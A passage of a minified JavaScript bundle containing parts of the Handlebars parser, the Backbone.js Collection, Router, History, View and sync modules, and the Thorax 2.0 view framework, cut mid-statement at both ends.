u=0;u<o.length;u++){n=this._input.match(this.rules[o[u]]);if(n&&(!t||n[0].length>t[0].length)){t=n,r=u;if(!this.options.flex)break}}if(t){s=t[0].match(/(?:\r\n?|\n).*/g),s&&(this.yylineno+=s.length),this.yylloc={first_line:this.yylloc.last_line,last_line:this.yylineno+1,first_column:this.yylloc.last_column,last_column:s?s[s.length-1].length-s[s.length-1].match(/\r?\n?/)[0].length:this.yylloc.last_column+t[0].length},this.yytext+=t[0],this.match+=t[0],this.matches=t,this.yyleng=this.yytext.length,this.options.ranges&&(this.yylloc.range=[this.offset,this.offset+=this.yyleng]),this._more=!1,this._input=this._input.slice(t[0].length),this.matched+=t[0],e=this.performAction.call(this,this.yy,this,o[r],this.conditionStack[this.conditionStack.length-1]),this.done&&this._input&&(this.done=!1);if(e)return e;return}return this._input===""?this.EOF:this.parseError("Lexical error on line "+(this.yylineno+1)+". Unrecognized text.\n"+this.showPosition(),{text:"",token:null,line:this.yylineno})},lex:function(){var t=this.next();return typeof t!="undefined"?t:this.lex()},begin:function(t){this.conditionStack.push(t)},popState:function(){return this.conditionStack.pop()},_currentRules:function(){return this.conditions[this.conditionStack[this.conditionStack.length-1]].rules},topState:function(){return this.conditionStack[this.conditionStack.length-2]},pushState:function(t){this.begin(t)}};return e.options={},e.performAction=function(t,n,r,i){var s=i;switch(r){case 0:n.yytext.slice(-1)!=="\\"&&this.begin("mu"),n.yytext.slice(-1)==="\\"&&(n.yytext=n.yytext.substr(0,n.yyleng-1),this.begin("emu"));if(n.yytext)return 14;break;case 1:return 14;case 2:return n.yytext.slice(-1)!=="\\"&&this.popState(),n.yytext.slice(-1)==="\\"&&(n.yytext=n.yytext.substr(0,n.yyleng-1)),14;case 3:return 24;case 4:return 16;case 5:return 20;case 6:return 19;case 7:return 19;case 8:return 23;case 9:return 23;case 10:return n.yytext=n.yytext.substr(3,n.yyleng-5),this.popState(),15;case 11:return 22;case 12:return 35;case 13:return 34;case 14:return 34;case 15:return 37;case 16:break;case 17:return this.popState(),18;case 18:return this.popState(),18;case 19:return n.yytext=n.yytext.substr(1,n.yyleng-2).replace(/\\"/g,'"'),29;case 20:return n.yytext=n.yytext.substr(1,n.yyleng-2).replace(/\\"/g,'"'),29;case 21:return n.yytext=n.yytext.substr(1),27;case 22:return 31;case 23:return 31;case 24:return 30;case 25:return 34;case 26:return n.yytext=n.yytext.substr(1,n.yyleng-2),34;case 27:return"INVALID";case 28:return 5}},e.rules=[/^(?:[^\x00]*?(?=(\{\{)))/,/^(?:[^\x00]+)/,/^(?:[^\x00]{2,}?(?=(\{\{|$)))/,/^(?:\{\{>)/,/^(?:\{\{#)/,/^(?:\{\{\/)/,/^(?:\{\{\^)/,/^(?:\{\{\s*else\b)/,/^(?:\{\{\{)/,/^(?:\{\{&)/,/^(?:\{\{![\s\S]*?\}\})/,/^(?:\{\{)/,/^(?:=)/,/^(?:\.(?=[} ]))/,/^(?:\.\.)/,/^(?:[\/.])/,/^(?:\s+)/,/^(?:\}\}\})/,/^(?:\}\})/,/^(?:"(\\["]|[^"])*")/,/^(?:'(\\[']|[^'])*')/,/^(?:@[a-zA-Z]+)/,/^(?:true(?=[}\s]))/,/^(?:false(?=[}\s]))/,/^(?:[0-9]+(?=[}\s]))/,/^(?:[a-zA-Z0-9_$-]+(?=[=}\s\/.]))/,/^(?:\[[^\]]*\])/,/^(?:.)/,/^(?:$)/],e.conditions={mu:{rules:[3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28],inclusive:!1},emu:{rules:[2],inclusive:!1},INITIAL:{rules:[0,1,28],inclusive:!0}},e}();return e.lexer=t,n.prototype=e,e.Parser=n,new n}();typeof require!="undefined"&&typeof exports!="undefined"&&(exports.parser=handlebars,exports.Parser=handlebars.Parser,exports.parse=function(){return handlebars.parse.apply(handlebars,arguments)},exports.main=function(t){if(!t[1])throw new Error("Usage: "+t[0]+" FILE");var n,r;return typeof process!="undefined"?n=require("fs").readFileSync(require("path").resolve(t[1]),"utf8"):n=require("file").path(require("file").cwd()).join(t[1]).read({charset:"utf-8"}),exports.parser.parse(n)},typeof module!="undefined"&&require.main===module&&exports.main(typeof process!="undefined"?process.argv.slice(1):require("system").args)),Handlebars.Parser=handlebars,Handlebars.parse=function(e){return Handlebars.Parser.yy=Handlebars.AST,Handlebars.Parser.parse(e)},Handlebars.print=function(e){return(new Handlebars.PrintVisitor).accept(e)},Handlebars.logger={DEBUG:0,INFO:1,WARN:2,ERROR:3,level:3,log:function(e,t){}},Handlebars.log=function(e,t){Handlebars.logger.log(e,t)},function(){Handlebars.AST={},Handlebars.AST.ProgramNode=function(e,t){this.type="program",this.statements=e,t&&(this.inverse=new Handlebars.AST.ProgramNode(t))},Handlebars.AST.MustacheNode=function(e,t,n){this.type="mustache",this.escaped=!n,this.hash=t;var r=this.id=e[0],i=this.params=e.slice(1),s=this.eligibleHelper=r.isSimple;this.isHelper=s&&(i.length||t)},Handlebars.AST.PartialNode=function(e,t){this.type="partial",this.id=e,this.context=t};var e=function(e,t){if(e.original!==t.original)throw new Handlebars.Exception(e.original+" doesn't match "+t.original)};Handlebars.AST.BlockNode=function(t,n,r,i){e(t.id,i),this.type="block",this.mustache=t,this.program=n,this.inverse=r,this.inverse&&!this.program&&(this.isInverse=!0)},Handlebars.AST.ContentNode=function(e){this.type="content",this.string=e},Handlebars.AST.HashNode=function(e){this.type="hash",this.pairs=e},Handlebars.AST.IdNode=function(e){this.type="ID",this.original=e.join(".");var t=[],n=0;for(var r=0,i=e.length;r<i;r++){var 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n?(t&&t.error&&t.error(this,n,t),this.trigger("error",this,n,t),!1):!0}});var p=o.Collection=function(e,t){t||(t={}),t.model&&(this.model=t.model),t.comparator!==void 0&&(this.comparator=t.comparator),this._reset(),this.initialize.apply(this,arguments),e&&this.reset(e,u.extend({silent:!0},t))};u.extend(p.prototype,c,{model:h,initialize:function(){},toJSON:function(e){return this.map(function(t){return t.toJSON(e)})},sync:function(){return o.sync.apply(this,arguments)},add:function(e,t){var n,i,o,a,f,l,c=t&&t.at,h=(t&&t.sort)==null?!0:t.sort;e=u.isArray(e)?e.slice():[e];for(n=e.length-1;n>=0;n--){if(!(a=this._prepareModel(e[n],t))){this.trigger("error",this,e[n],t),e.splice(n,1);continue}e[n]=a,f=a.id!=null&&this._byId[a.id];if(f||this._byCid[a.cid]){t&&t.merge&&f&&(f.set(a.attributes,t),l=h),e.splice(n,1);continue}a.on("all",this._onModelEvent,this),this._byCid[a.cid]=a,a.id!=null&&(this._byId[a.id]=a)}e.length&&(l=h),this.length+=e.length,i=[c!=null?c:this.models.length,0],r.apply(i,e),s.apply(this.models,i),l&&this.comparator&&c==null&&this.sort({silent:!0});if(t&&t.silent)return this;while(a=e.shift())a.trigger("add",a,this,t);return this},remove:function(e,t){var n,r,i,s;t||(t={}),e=u.isArray(e)?e.slice():[e];for(n=0,r=e.length;n<r;n++){s=this.get(e[n]);if(!s)continue;delete this._byId[s.id],delete this._byCid[s.cid],i=this.indexOf(s),this.models.splice(i,1),this.length--,t.silent||(t.index=i,s.trigger("remove",s,this,t)),this._removeReference(s)}return this},push:function(e,t){return e=this._prepareModel(e,t),this.add(e,u.extend({at:this.length},t)),e},pop:function(e){var t=this.at(this.length-1);return this.remove(t,e),t},unshift:function(e,t){return e=this._prepareModel(e,t),this.add(e,u.extend({at:0},t)),e},shift:function(e){var t=this.at(0);return this.remove(t,e),t},slice:function(e,t){return this.models.slice(e,t)},get:function(e){return e==null?void 0:this._byId[e.id!=null?e.id:e]||this._byCid[e.cid||e]},at:function(e){return this.models[e]},where:function(e){return u.isEmpty(e)?[]:this.filter(function(t){for(var n in e)if(e[n]!==t.get(n))return!1;return!0})},sort:function(e){if(!this.comparator)throw new Error("Cannot sort a set without a comparator");return u.isString(this.comparator)||this.comparator.length===1?this.models=this.sortBy(this.comparator,this):this.models.sort(u.bind(this.comparator,this)),(!e||!e.silent)&&this.trigger("sort",this,e),this},pluck:function(e){return u.invoke(this.models,"get",e)},update:function(e,t){var n,r,i,s,o=[],a=[],f={},l=this.model.prototype.idAttribute;t=u.extend({add:!0,merge:!0,remove:!0},t),t.parse&&(e=this.parse(e)),u.isArray(e)||(e=e?[e]:[]);if(t.add&&!t.remove)return this.add(e,t);for(r=0,i=e.length;r<i;r++)n=e[r],s=this.get(n.id||n.cid||n[l]),t.remove&&s&&(f[s.cid]=!0),(t.add&&!s||t.merge&&s)&&o.push(n);if(t.remove)for(r=0,i=this.models.length;r<i;r++)n=this.models[r],f[n.cid]||a.push(n);return a.length&&this.remove(a,t),o.length&&this.add(o,t),this},reset:function(e,t){t||(t={}),t.parse&&(e=this.parse(e));for(var n=0,r=this.models.length;n<r;n++)this._removeReference(this.models[n]);return t.previousModels=this.models,this._reset(),e&&this.add(e,u.extend({silent:!0},t)),t.silent||this.trigger("reset",this,t),this},fetch:function(e){e=e?u.clone(e):{},e.parse===void 0&&(e.parse=!0);var t=this,n=e.success;return e.success=function(r,i,s){var o=e.update?"update":"reset";t[o](r,e),n&&n(t,r,e)},this.sync("read",this,e)},create:function(e,t){var n=this;t=t?u.clone(t):{},e=this._prepareModel(e,t);if(!e)return!1;t.wait||n.add(e,t);var r=t.success;return t.success=function(e,t,i){i.wait&&n.add(e,i),r&&r(e,t,i)},e.save(null,t),e},parse:function(e){return e},clone:function(){return new this.constructor(this.models)},chain:function(){return u(this.models).chain()},_reset:function(){this.length=0,this.models=[],this._byId={},this._byCid={}},_prepareModel:function(e,t){if(e instanceof h)return e.collection||(e.collection=this),e;t||(t={}),t.collection=this;var n=new this.model(e,t);return n._validate(e,t)?n:!1},_removeReference:function(e){this===e.collection&&delete e.collection,e.off("all",this._onModelEvent,this)},_onModelEvent:function(e,t,n,r){if((e==="add"||e==="remove")&&n!==this)return;e==="destroy"&&this.remove(t,r),t&&e==="change:"+t.idAttribute&&(delete this._byId[t.previous(t.idAttribute)],t.id!=null&&(this._byId[t.id]=t)),this.trigger.apply(this,arguments)}});var d=["forEach","each","map","collect","reduce","foldl","inject","reduceRight","foldr","find","detect","filter","select","reject","every","all","some","any","include","contains","invoke","max","min","sortedIndex","toArray","size","first","head","take","initial","rest","tail","last","without","indexOf","shuffle","lastIndexOf","isEmpty"];u.each(d,function(e){p.prototype[e]=function(){var t=i.call(arguments);return t.unshift(this.models),u[e].apply(u,t)}});var v=["groupBy","countBy","sortBy"];u.each(v,function(e){p.prototype[e]=function(t,n){var r=u.isFunction(t)?t:function(e){return e.get(t)};return u[e](this.models,r,n)}});var m=o.Router=function(e){e||(e={}),e.routes&&(this.routes=e.routes),this._bindRoutes(),this.initialize.apply(this,arguments)},g=/\((.*?)\)/g,y=/:\w+/g,b=/\*\w+/g,w=/[\-{}\[\]+?.,\\\^$|#\s]/g;u.extend(m.prototype,c,{initialize:function(){},route:function(e,t,n){return u.isRegExp(e)||(e=this._routeToRegExp(e)),n||(n=this[t]),o.history.route(e,u.bind(function(r){var i=this._extractParameters(e,r);n&&n.apply(this,i),this.trigger.apply(this,["route:"+t].concat(i)),o.history.trigger("route",this,t,i)},this)),this},navigate:function(e,t){return o.history.navigate(e,t),this},_bindRoutes:function(){if(!this.routes)return;var e,t=u.keys(this.routes);while((e=t.pop())!=null)this.route(e,this.routes[e])},_routeToRegExp:function(e){return e=e.replace(w,"\\$&").replace(g,"(?:$1)?").replace(y,"([^/]+)").replace(b,"(.*?)"),new RegExp("^"+e+"$")},_extractParameters:function(e,t){return e.exec(t).slice(1)}});var E=o.History=function(){this.handlers=[],u.bindAll(this,"checkUrl"),typeof window!="undefined"&&(this.location=window.location,this.history=window.history)},S=/^[#\/]|\s+$/g,x=/^\/+|\/+$/g,T=/msie [\w.]+/,N=/\/$/;E.started=!1,u.extend(E.prototype,c,{interval:50,getHash:function(e){var t=(e||this).location.href.match(/#(.*)$/);return t?t[1]:""},getFragment:function(e,t){if(e==null)if(this._hasPushState||!this._wantsHashChange||t){e=this.location.pathname;var n=this.root.replace(N,"");e.indexOf(n)||(e=e.substr(n.length))}else e=this.getHash();return e.replace(S,"")},start:function(e){if(E.started)throw new Error("Backbone.history has already been started");E.started=!0,this.options=u.extend({},{root:"/"},this.options,e),this.root=this.options.root,this._wantsHashChange=this.options.hashChange!==!1,this._wantsPushState=!!this.options.pushState,this._hasPushState=!!(this.options.pushState&&this.history&&this.history.pushState);var t=this.getFragment(),n=document.documentMode,r=T.exec(navigator.userAgent.toLowerCase())&&(!n||n<=7);this.root=("/"+this.root+"/").replace(x,"/"),r&&this._wantsHashChange&&(this.iframe=o.$('<iframe src="javascript:0" tabindex="-1" />').hide().appendTo("body")[0].contentWindow,this.navigate(t)),this._hasPushState?o.$(window).bind("popstate",this.checkUrl):this._wantsHashChange&&"onhashchange"in window&&!r?o.$(window).bind("hashchange",this.checkUrl):this._wantsHashChange&&(this._checkUrlInterval=setInterval(this.checkUrl,this.interval)),this.fragment=t;var i=this.location,s=i.pathname.replace(/[^\/]$/,"$&/")===this.root;if(this._wantsHashChange&&this._wantsPushState&&!this._hasPushState&&!s)return this.fragment=this.getFragment(null,!0),this.location.replace(this.root+this.location.search+"#"+this.fragment),!0;this._wantsPushState&&this._hasPushState&&s&&i.hash&&(this.fragment=this.getHash().replace(S,""),this.history.replaceState({},document.title,this.root+this.fragment+i.search));if(!this.options.silent)return this.loadUrl()},stop:function(){o.$(window).unbind("popstate",this.checkUrl).unbind("hashchange",this.checkUrl),clearInterval(this._checkUrlInterval),E.started=!1},route:function(e,t){this.handlers.unshift({route:e,callback:t})},checkUrl:function(e){var t=this.getFragment();t===this.fragment&&this.iframe&&(t=this.getFragment(this.getHash(this.iframe)));if(t===this.fragment)return!1;this.iframe&&this.navigate(t),this.loadUrl()||this.loadUrl(this.getHash())},loadUrl:function(e){var t=this.fragment=this.getFragment(e),n=u.any(this.handlers,function(e){if(e.route.test(t))return e.callback(t),!0});return n},navigate:function(e,t){if(!E.started)return!1;if(!t||t===!0)t={trigger:t};e=this.getFragment(e||"");if(this.fragment===e)return;this.fragment=e;var n=this.root+e;if(this._hasPushState)this.history[t.replace?"replaceState":"pushState"]({},document.title,n);else{if(!this._wantsHashChange)return this.location.assign(n);this._updateHash(this.location,e,t.replace),this.iframe&&e!==this.getFragment(this.getHash(this.iframe))&&(t.replace||this.iframe.document.open().close(),this._updateHash(this.iframe.location,e,t.replace))}t.trigger&&this.loadUrl(e)},_updateHash:function(e,t,n){if(n){var r=e.href.replace(/(javascript:|#).*$/,"");e.replace(r+"#"+t)}else e.hash="#"+t}}),o.history=new E;var C=o.View=function(e){this.cid=u.uniqueId("view"),this._configure(e||{}),this._ensureElement(),this.initialize.apply(this,arguments),this.delegateEvents()},k=/^(\S+)\s*(.*)$/,L=["model","collection","el","id","attributes","className","tagName","events"];u.extend(C.prototype,c,{tagName:"div",$:function(e){return this.$el.find(e)},initialize:function(){},render:function(){return this},remove:function(){return this.$el.remove(),this.stopListening(),this},make:function(e,t,n){var r=document.createElement(e);return t&&o.$(r).attr(t),n!=null&&o.$(r).html(n),r},setElement:function(e,t){return this.$el&&this.undelegateEvents(),this.$el=e instanceof o.$?e:o.$(e),this.el=this.$el[0],t!==!1&&this.delegateEvents(),this},delegateEvents:function(e){if(!e&&!(e=u.result(this,"events")))return;this.undelegateEvents();for(var t in e){var n=e[t];u.isFunction(n)||(n=this[e[t]]);if(!n)throw new Error('Method "'+e[t]+'" does not exist');var r=t.match(k),i=r[1],s=r[2];n=u.bind(n,this),i+=".delegateEvents"+this.cid,s===""?this.$el.bind(i,n):this.$el.delegate(s,i,n)}},undelegateEvents:function(){this.$el.unbind(".delegateEvents"+this.cid)},_configure:function(e){this.options&&(e=u.extend({},u.result(this,"options"),e)),u.extend(this,u.pick(e,L)),this.options=e},_ensureElement:function(){if(!this.el){var e=u.extend({},u.result(this,"attributes"));this.id&&(e.id=u.result(this,"id")),this.className&&(e["class"]=u.result(this,"className")),this.setElement(this.make(u.result(this,"tagName"),e),!1)}else this.setElement(u.result(this,"el"),!1)}});var A={create:"POST",update:"PUT",patch:"PATCH","delete":"DELETE",read:"GET"};o.sync=function(e,t,n){var r=A[e];u.defaults(n||(n={}),{emulateHTTP:o.emulateHTTP,emulateJSON:o.emulateJSON});var i={type:r,dataType:"json"};n.url||(i.url=u.result(t,"url")||M()),n.data==null&&t&&(e==="create"||e==="update"||e==="patch")&&(i.contentType="application/json",i.data=JSON.stringify(n.attrs||t.toJSON(n))),n.emulateJSON&&(i.contentType="application/x-www-form-urlencoded",i.data=i.data?{model:i.data}:{});if(n.emulateHTTP&&(r==="PUT"||r==="DELETE"||r==="PATCH")){i.type="POST",n.emulateJSON&&(i.data._method=r);var s=n.beforeSend;n.beforeSend=function(e){e.setRequestHeader("X-HTTP-Method-Override",r);if(s)return s.apply(this,arguments)}}i.type!=="GET"&&!n.emulateJSON&&(i.processData=!1);var a=n.success;n.success=function(e,r,i){a&&a(e,r,i),t.trigger("sync",t,e,n)};var f=n.error;n.error=function(e,r,i){f&&f(t,e,n),t.trigger("error",t,e,n)};var l=o.ajax(u.extend(i,n));return t.trigger("request",t,l,n),l},o.ajax=function(){return o.$.ajax.apply(o.$,arguments)};var O=function(e,t){var n=this,r;e&&u.has(e,"constructor")?r=e.constructor:r=function(){n.apply(this,arguments)},u.extend(r,n,t);var i=function(){this.constructor=r};return i.prototype=n.prototype,r.prototype=new i,e&&u.extend(r.prototype,e),r.__super__=n.prototype,r};h.extend=p.extend=m.extend=C.extend=E.extend=O;var M=function(){throw new Error('A "url" property or function must be specified')}}.call(this),function(){function s(){this.helpers&&_.each(this.helpers,function(e,t){var n=this;this.helpers[t]=function(){var t=_.toArray(arguments),r=_.last(t);return r.context=this,e.apply(n,t)}},this)}function o(e,t){var n=e.extend;e.extend=function(){var e=n.apply(this,arguments);return e.prototype.name&&(t[e.prototype.name]=e),e}}function u(e,t,n,r){var i=e[t],s;if(n.indexOf(".")>=0){var o=n.split(/\./);n=o.pop(),_.each(o,function(e){i=i[e]})}i&&(s=i[n]);if(!s&&!r)throw new Error(t+": "+n+" does not exist.");return s}function a(e,t,n){return!e||!e[t]?null:_.isFunction(e[t])?e[t].call(n||e):e[t]}function l(e){_.each(f,function(t){e[t.name]||(e[t.name]=[])})}function c(e){_.each(f,function(t){e[t.name]=[]})}function h(e,t,n,r){var i=[];_.has(e,t)&&i.push(e);var s=e;if(n)while(s=s.__parent__)_.has(s,t)&&i.push(s);else{s=s.constructor;while(s)s.prototype&&_.has(s.prototype,t)&&i.push(s.prototype),s=s.__super__&&s.__super__.constructor}var o=i.length;while(o--)_.each(a(i[o],t,e),r)}function p(e,t,n,r){if(_.isObject(n)){var i=f[t];if(i&&i.event)return d(e["_"+t+"Events"],n,r),!0}}function d(e,t,n){_.each(t,function(t,r){_.isArray(t)?_.each(t,function(t){e.push([r,t,n])}):e.push([r,t,n])})}function v(e){if(!e||!e.data)throw new Error("Handlebars template compiled without data, use: Handlebars.compile(template, {data: true})");return e.data}function g(e){e.trigger("ready")}function E(e){b.push.apply(b,e),w=new RegExp("^(nested\\s+)?("+b.join("|")+")(?:\\s|$)")}function S(e,t){return function(n){var r=$(n.target).view({helper:!1});r&&r.cid===t&&(n.originalContext=this,e(n))}}function x(e,t){e+=t.originalName;var n=t.handler,r=typeof n=="function"?n:this[n];if(!r)throw new Error('Event "'+n+'" does not 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i==="data"||i==="hash"?n(e.options[i],t.options[i]):i==="fn"||i==="inverse"?t.options[i]===r||r&&_.has(r,"program")&&(t.options[i]||{}).program===r.program:t.options[i]===r}))}function O(e,t){function n(n,r){var i=this[e],s=a(this,t.$el);return n===i?this:(i&&this.unbindDataObject(i),n?(this[e]=n,t.loading&&t.loading.call(this),this.bindDataObject(e,n,_.extend({},this.options,r)),s.attr(t.cidAttrName,n.cid),n.trigger("set",n,i)):(this[e]=!1,t.change&&t.change.call(this,!1),s.removeAttr(t.cidAttrName)),this.trigger("change:data-object",e,n,i),t.setCallback&&t.setCallback.call(this,n,r),this)}t=f[e]=_.defaults({name:"_"+e+"Events",event:!0},t),t.ctor=function(){if(this[e]){var n=this[e];this[e]=null,this[t.set](n)}},i.View.prototype[t.set]=n}function M(e,t,n){var r=this;h(n,"_"+e+"Events",!0,function(e){r.listenTo(t,e[0],_.bind(P(e[1],r),e[2]||r))})}function D(e,t){e.load?e.load(function(){t&&t.success&&t.success(e)},t):e.fetch(t)}function P(e,t){return typeof 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e="data-view-name",t="data-view-cid",n="data-view-helper",r={},i=this.Thorax={VERSION:"2.0.0b6",templatePathPrefix:"",templates:{},Views:{},onException:function(e,t){throw t}};i.View=Backbone.View.extend({constructor:function(){var e=Backbone.View.apply(this,arguments);return _.each(f,function(t){t.ctor&&t.ctor.call(this,e)},this),e},_configure:function(e){var t=this;this._objectOptionsByCid={},this._boundDataObjectsByCid={},_.each(f,function(e){t[e.name]=[]}),r[this.cid]=this,this.children={},this._renderCount=0,_.extend(this,e||{}),s.call(this),typeof this.template=="string"?this.template=Handlebars.compile(this.template,{data:!0}):this.name&&!this.template&&(this.template=i.Util.getTemplate(this.name,!0)),_.each(f,function(e){e.configure&&e.configure.call(this)},this)},setElement:function(){var n=Backbone.View.prototype.setElement.apply(this,arguments);return this.name&&this.$el.attr(e,this.name),this.$el.attr(t,this.cid),n},_addChild:function(e){return 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t=i.Mixins[e];_.extend(this,t[1]),_.isArray(t[0])?t[0][0].apply(this,t[0][1]):t[0].apply(this,_.toArray(arguments).slice(1))}}};var m=i.View.prototype.on;f.event={name:"_events",configure:function(){var e=this;h(this.constructor,"_events",!0,function(t){e.on.apply(e,t)}),h(this,"events",!1,function(t,n){e.on(n,t,e)})}},_.extend(i.View,{on:function(e,t){return l(this),p(this,e,t)?this:(typeof e=="object"?_.each(e,function(e,t){this.on(t,e)},this):_.isArray(t)?_.each(t,function(t){this._events.push([e,t])},this):this._events.push([e,t]),this)}}),_.extend(i.View.prototype,{freeze:function(e){_.each(this._boundDataObjectsByCid,this.unbindDataObject,this),e=_.defaults(e||{},{dom:!0,children:!0}),this.off(),e.dom&&this.undelegateEvents(),this.trigger("freeze"),e.children&&_.each(this.children,function(t){t.freeze(e)},this)},on:function(e,t,n){return p(this,e,t,n)?this:(typeof e=="object"&&arguments.length<3?_.each(e,function(e,n){this.on(n,e,t||this)},this):_.each(_.isArray(t)?t:[t],function(t){var r=T.call(this,e,t,n||this);r.type==="DOM"?(this._eventsToDelegate||(this._eventsToDelegate=[]),this._eventsToDelegate.push(r)):this._addEvent(r)},this),this)},delegateEvents:function(e){this.undelegateEvents(),e&&(_.isFunction(e)&&(e=e.call(this)),this._eventsToDelegate=[],this.on(e)),this._eventsToDelegate&&_.each(this._eventsToDelegate,this._addEvent,this)},_addEvent:function(e){if(e.type==="view")_.each(e.name.split(/\s+/),function(t){m.call(this,t,x.call(this,"view-event:",e))},this);else{var t=x.call(this,"dom-event:",e);e.nested||(t=S(t,this.cid));if(e.selector){var n=e.name+".delegateEvents"+this.cid;this.$el.on(n,e.selector,t)}else this.$el.on(e.name,t)}}}),i.View.on("ready",function(){this._isReady||(this._isReady=!0,_.each(this.children,g),this.on("child",g))});var y=/^(nested\s+)?(\S+)(?:\s+(.+))?/,b=[],w;E(["mousedown","mouseup","mousemove","mouseover","mouseout","touchstart","touchend","touchmove","click","dblclick","keyup","keydown","keypress","submit","change","focus","blur"]);var N="data-view-tmp",C={};i.HelperView=i.View.extend({_ensureElement:function(){i.View.prototype._ensureElement.apply(this,arguments),this.$el.attr(n,this._helperName)},_getContext:function(){return this.parent._getContext.apply(this.parent,arguments)}}),Handlebars.registerViewHelper=function(e,t,n){arguments.length===2&&(t.factory?n=t.callback:(n=t,t=i.HelperView)),Handlebars.registerHelper(e,function(){var r=_.toArray(arguments),s=r.pop(),o=v(s).view,u={template:s.fn||Handlebars.VM.noop,inverse:s.inverse,options:s.hash,declaringView:o,parent:k(o),_helperName:e,_helperOptions:{options:L(s),args:_.clone(r)}};s.hash.id&&(u.id=s.hash.id),s.hash["class"]&&(u.className=s.hash["class"]),s.hash.className&&(u.className=s.hash.className),s.hash.tag&&(u.tagName=s.hash.tag),s.hash.tagName&&(u.tagName=s.hash.tagName);var a=_.find(o._previousHelpers,function(e){return A(u,e)});if(!a){if(t.factory){a=t.factory(r,u);if(!a)return"";a._helperName=u._helperName,a._helperOptions=u._helperOptions}else a=new t(u);r.push(a),o._addChild(a),o.trigger.apply(o,["helper",e].concat(r)),o.trigger.apply(o,["helper:"+e].concat(r)),n&&n.apply(this,r)}else o._previousHelpers=_.without(o._previousHelpers,a),o.children[a.cid]=a;var f=i.Util.htmlAttributesFromOptions(s.hash);f[N]=a.cid;var l=s.hash["expand-tokens"];return new Handlebars.SafeString(i.Util.tag(f,"",l?this:null))});var r=Handlebars.helpers[e];return r},i.View.on("append",function(e,t){(e||this.$el).find("["+N+"]").forEach(function(e){var n=e.getAttribute(N),r=this.children[n];r&&(C[n]?(r.render(C[n]),delete C[n]):r.ensureRendered(),$(e).replaceWith(r.el),t&&t(r.el))},this)}),_.extend(i.View.prototype,{bindDataObject:function(e,t,n){if(this._boundDataObjectsByCid[t.cid])return!1;H(e,t),this._boundDataObjectsByCid[t.cid]=t;var n=this._modifyDataObjectOptions(t,_.extend({},f[e].defaultOptions,n));return this._objectOptionsByCid[t.cid]=n,M.call(this,e,t,this.constructor),M.call(this,e,t,this),t.shouldFetch&&(t.shouldFetch(n)?D(t,n):f[e].change&&f[e].change.call(this,t,n)),!0},unbindDataObject:function(e){return this._boundDataObjectsByCid[e.cid]?(delete this._boundDataObjectsByCid[e.cid],e.trigger("freeze"),this.stopListening(e),delete this._objectOptionsByCid[e.cid],!0):!1},_modifyDataObjectOptions:function(e,t){return t}});var B="data-model-cid";i.Model=Backbone.Model.extend({isEmpty:function(){return!this.isPopulated()},isPopulated:function(){var e=_.clone(this.attributes),t=a(this,"defaults")||{};for(var n in t){if(e[n]!=t[n])return!0;delete e[n]}var r=_.keys(e);return r.length>1||r.length===1&&r[0]!==this.idAttribute},shouldFetch:function(e){var t;try{t=a(this,"url")}catch(n){t=!1}return e.fetch&&!!t&&!this.isPopulated()}}),i.Models={},o(i.Model,i.Models),O("model",{set:"setModel",defaultOptions:{render:!0,fetch:!0,success:!1,errors:!0},change:j,$el:"$el",cidAttrName:B}),i.View.on({model:{error:function(e,t){this._objectOptionsByCid[e.cid].errors&&this.trigger("error",t,e)},change:function(e){j.call(this,e)}}}),$.fn.model=function(e){var t=$(this),n=t.closest("["+B+"]"),r=n&&n.attr(B);if(r){var e=e||t.view();if(e&&e.model&&e.model.cid===r)return e.model||!1;var i=t.collection(e);if(i)return i.find(function(e){return e.cid===r})||!1}return!1};var F=Backbone.Collection.prototype.fetch,I=Backbone.Collection.prototype.reset,q="data-collection-cid",R="data-collection-empty",U="data-collection-element",z="data-collection-primary",W=1;i.Collection=Backbone.Collection.extend({model:i.Model||Backbone.Model,isEmpty:function(){return this.length>0?!1:this.length===0&&this.isPopulated()},isPopulated:function(){return this._fetched||this.length>0||!this.length&&!a(this,"url")},shouldFetch:function(e){return e.fetch&&!!a(this,"url")&&!this.isPopulated()},fetch:function(e){e=e||{};var t=e.success;return e.success=function(e,n){e._fetched=!0,t&&t(e,n)},F.apply(this,arguments)},reset:function(e,t){return this._fetched=!!e,I.call(this,e,t)}}),i.Collections={},o(i.Collection,i.Collections),O("collection",{set:"setCollection",setCallback:V,defaultOptions:{render:!0,fetch:!0,success:!1,errors:!0},change:X,$el:"getCollectionElement",cidAttrName:q}),_.extend(i.View.prototype,{_collectionSelector:"["+U+"]",appendItem:function(e,t,n){if(!e)return;var r,i=this.getCollectionElement();n=n||{},t&&t.el&&(t=i.children().indexOf(t.el)+1),e.el||typeof e=="string"?(r=e,e=!1):(t=t||this.collection.indexOf(e)||0,r=this.renderItem(e,t));if(r){r.cid&&this._addChild(r),typeof r=="string"&&!r.match(/^\s*</m)&&(r="<div>"+r+"</div>");var s=r.el?[r.el]:_.filter($(r),function(e){return e.nodeType===W});e&&$(s).attr(B,e.cid);var o=t>0?this.collection.at(t-1):!1;if(!o)i.prepend(s);else{var u=i.find("["+B+'="'+o.cid+'"]').last();u.after(s)}this.trigger("append",null,function(t){t.setAttribute(B,e.cid)}),n.silent||(this.trigger("rendered:item",this,this.collection,e,s,t),Q.call(this,e))}return r},updateItem:function(e){this.removeItem(e),this.appendItem(e)},removeItem:function(e){var n=this.getCollectionElement(),r=n.find("["+B+'="'+e.cid+'"]');if(!r.length)return!1;r.remove();var i=r.attr(t),s=this.children[i];return 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this.itemTemplate||(this.itemTemplate=i.Util.getTemplate(this.name+"-item")),this.renderTemplate(this.itemTemplate,this.itemContext(e,t))},itemContext:function(e){return e.attributes},appendEmpty:function(){var e=this.getCollectionElement();e.empty();var t=this.renderEmpty();t&&this.appendItem(t,0,{silent:!0}),this.trigger("rendered:empty",this,this.collection)},getCollectionElement:function(){var e=this.$(this._collectionSelector);return e.length===0?this.$el:e},_collectionRenderingEvents:{reset:X,sort:X,filter:function(){K.call(this)},change:function(e){!this.itemView&&this.updateItem(e),Q.call(this,e)},add:function(e){var t=this.getCollectionElement();this.collection.length===1&&t.length&&Y.call(this);if(t.length){var n=this.collection.indexOf(e);this.appendItem(e,n)}},remove:function(e){var t=this.getCollectionElement();this.removeItem(e),this.collection.length===0&&t.length&&Z.call(this)}}}),i.View.on({collection:{error:function(e,t){this._objectOptionsByCid[e.cid].errors&&this.trigger("error",t,e)}}}),$.fn.collection=function(e){if(e&&e.collection)return e.collection;var t=$(this),n=t.closest("["+q+"]"),r=n&&n.attr(q);if(r){e=t.view();if(e)return e.collection}return!1},f.model.defaultOptions.populate=!0;var 